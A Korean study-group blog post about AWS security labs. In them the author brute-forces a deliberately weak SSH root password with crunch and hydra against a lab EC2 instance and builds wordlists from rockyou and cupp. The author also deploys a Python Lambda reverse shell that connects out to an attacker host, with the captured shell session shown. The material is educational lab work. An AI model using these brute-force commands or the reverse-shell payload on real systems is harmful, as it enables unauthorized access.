본문 바로가기

DevOps/AWS

[AHSS 2주차] AWS IAM 보안 (2)

cloudNet@ 팀의 가시다 님이 진행하는 AWS 보안 스터디 2주차 정리입니다.

[ AWS 보안  ] - IAM 는 어떻게  관리해야 할까요?

암호는 어떻게 사용해야 될지 다시 한번 더 고민해보시기 바랍니다!

 

 

✅ 실습 목표 : 

  • EC2 2대를 배포 
  • 암호 관련 정보 습득 방법 소개
  • hydra - 링크 , Crunch - 링크 , rockyou - 링크 , Cupp - 링크
  • 패스워드를 해킹하는 방법들에 대해서 학습 해 보자.

 

[자신의 PC] IAM 자격증명 설정 되어 있는 상태에서 AWS CLI로 CloudFormation 스택 배포 (4분 정도 소요)

# 변수 지정
KEYNAME=<각자 자신의 SSH Keypair Name>
KEYNAME=kp-koo

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/security/ahss-ec2_2ea.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file ahss-ec2_2ea.yaml --stack-name iamlab --parameter-overrides KeyName=$KEYNAME --region ap-northeast-2 --capabilities CAPABILITY_NAMED_IAM

# CloudFormation 스택 배포 완료 후 EC2 2대 IP 출력
aws cloudformation describe-stacks --stack-name iamlab --query 'Stacks[*].Outputs[*].OutputValue' --output text
 
# 각각 EC2 SSH 접속 : 아래 키파일 경로는 자신의 환경에 맞게 변경하자!
43.202.2.168	43.201.251.232

ssh -i kp-koo.cer ec2-user@43.202.2.168
ssh -i kp-koo.cer ec2-user@43.201.251.232

 

[WebServer EC2]

# 관리자 확인
whoami

# SSH 접속 로그 출력
more /var/log/secure
grep Invalid /var/log/secure
w

# root 계정의 암호 설정 - 취약한 암호이며 실습 후 바로 해당 EC2를 삭제 할 것
passwd
New password: 12qw
Retype new password: 12qw
...

# 실시간 로그 출력
tail -f /var/log/secure

 

✔️ passwd를 취약한 암호로 풀어주고, 뚫리는지 확인


 

[Attacker EC2]

# crunch tool 로 사전 파일 생성 - 참고링크 참고영상
cd /root/crunch-3.6
./crunch 4 4 12qw -o 4chars.txt

# 사전 파일 확인, 256개의 암호 생성
more 4chars.txt
more 4chars.txt |wc -l
256

# Hydra tool 로 SSH Brute force attack 시도
hydra -h
hydra -l root -P 4chars.txt -t 10 -f -V ssh://10.0.0.10
...
[22][ssh] host: 10.0.0.10   login: root   password: 12qw
...

# 리모트 명령 실행
sshpass -p '12qw' ssh -o StrictHostKeyChecking=no root@10.0.0.10 hostname
sshpass -p '12qw' ssh -o StrictHostKeyChecking=no root@10.0.0.10 ip -c addr

 

✔️ hydra를 통해 1,2,q,w로 가능한 모든 조합의 패스워드를 실행해볼수 있음 ( 공격할때)

 

[Attacker EC2]

# 사전 파일 획득
## (옵션) 구글링 - 최애(자주 쓰는) 암호 Top 10/100 리스트, Kali Linux 등등
## (옵션) Rockyou 대용량 사전 파일 - 일천사백만개 암호 리스트 > 필요한 부분만 별도의 파일로 만들어서 사용
cd
more /root/rockyou.txt
less /root/rockyou.txt
wc -l /root/rockyou.txt
14344394

grep password /root/rockyou.txt
grep cisco /root/rockyou.txt
grep -F '***' /root/rockyou.txt

## (옵션) Cupp tool 개인 정보 기반 암호 리스트 생성 - 참고링크
python3 /root/cupp.py -i  → 뒤 질문은 전부 N 하자
생성된 파일 확인
more ~

✔️ Cupp tool을 통해 일반적인 정보들을 가지고 (별명, 생일, 이름, 딸 생일 , 배우자 이름) 등 조합하여 패스워드를 txt파일로 만들어내서 공격할수 있음

 


✅ 실습 목표 : 

  • AWS Lamda 를 활용한 실습
  • Popping reverse shells with Lambda 
  • 패스워드를 해킹하는 방법들에 대해서 학습 해 보자.

 

✔️ Attacker EC2 에 접속하여 80 포트 Listen

 

# 퍼블릭 도메인 주소 확인 : 메모해두기
curl -s http://169.254.169.254/latest/meta-data/public-hostname ; echo
ec2-43-201-251-232.ap-northeast-2.compute.amazonaws.com

# netcat 실행 : TCP 80 포트로 Listen(대기)
nc -lvnp 80

 

✔️ 람다 함수 생성 

함수 이름 : LambdaShell , 런타임 : Python 3.7 , 나머지는 기본값하단함수 생성클릭

 

✔️ 코드 저장 후 Deploy

import socket,subprocess,os

def lambda_handler(event, context):
    # TODO implement
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("<각자 자신의 Attack EC2의 퍼블릭 도메인 주소>", 80))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/bash","-i"]);

✔️ 구성 → 일반 구성 → 편집 : 설명(Shell timeout) , 제한 시간(5분) ⇒ 저장

✔️ [Lambda] 함수 실행 → 트리거로 Attack EC2로 연결 실행

✔️ [Attacker EC2] netcat 연결 확인

#

[root@Attacker ~]# nc -lvnp 80
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 34.78.6.216.
Ncat: Connection from 34.78.6.216:36806.
GET / HTTP/1.1
Host: 43.201.251.232
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
x-datadog-trace-id: 18170749143810708903
x-datadog-parent-id: 18081450761683835459
x-datadog-sampling-priority: 0


# 아래 연결 성공
------------------------------
bash-4.2$ whoami
sbx_user1051

bash-4.2$ id
uid=993(sbx_user1051) gid=990 groups=990

bash-4.2$ ls -al
total 5
drwxr-xr-x  2 root root   41 Sep  3 14:04 .
drwxr-xr-x 24 root root 4096 Jun 12 18:36 ..
-rwxr-xr-x  1 root root  337 Sep  3 14:04 lambda_function.py
bash-4.2$ pwd
/var/task

bash-4.2$ tail /etc/passwd
sbx_user1168:x:876:873::/home/sbx_user1168:/sbin/nologin
sbx_user1169:x:875:872::/home/sbx_user1169:/sbin/nologin
sbx_user1170:x:874:871::/home/sbx_user1170:/sbin/nologin
sbx_user1171:x:873:870::/home/sbx_user1171:/sbin/nologin
sbx_user1172:x:872:869::/home/sbx_user1172:/sbin/nologin
sbx_user1173:x:871:868::/home/sbx_user1173:/sbin/nologin
sbx_user1174:x:870:867::/home/sbx_user1174:/sbin/nologin
sbx_user1175:x:869:866::/home/sbx_user1175:/sbin/nologin
sbx_user1176:x:868:865::/home/sbx_user1176:/sbin/nologin
dnsmasq:x:867:864:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin

bash-4.2$ curl -s ipinfo.io/ip; echo
3.34.200.96

bash-4.2$ df -hT
Filesystem     Type      Size  Used Avail Use% Mounted on
/dev/vde       ext4      243G  240G     0 100% /
/dev/vdb       ext4      1.5G  9.4M  1.4G   1% /dev
/dev/vdd       ext4      525M  8.0K  514M   1% /tmp
/dev/root      ext4      9.7G  555M  9.2G   6% /var/rapid
/dev/vdc       squashfs  128K  128K     0 100% /var/task

 

 

✔️실습 리소스 삭제

  • Lambda 함수 삭제
  • Lambda 함수 사용한 IAM Role 삭제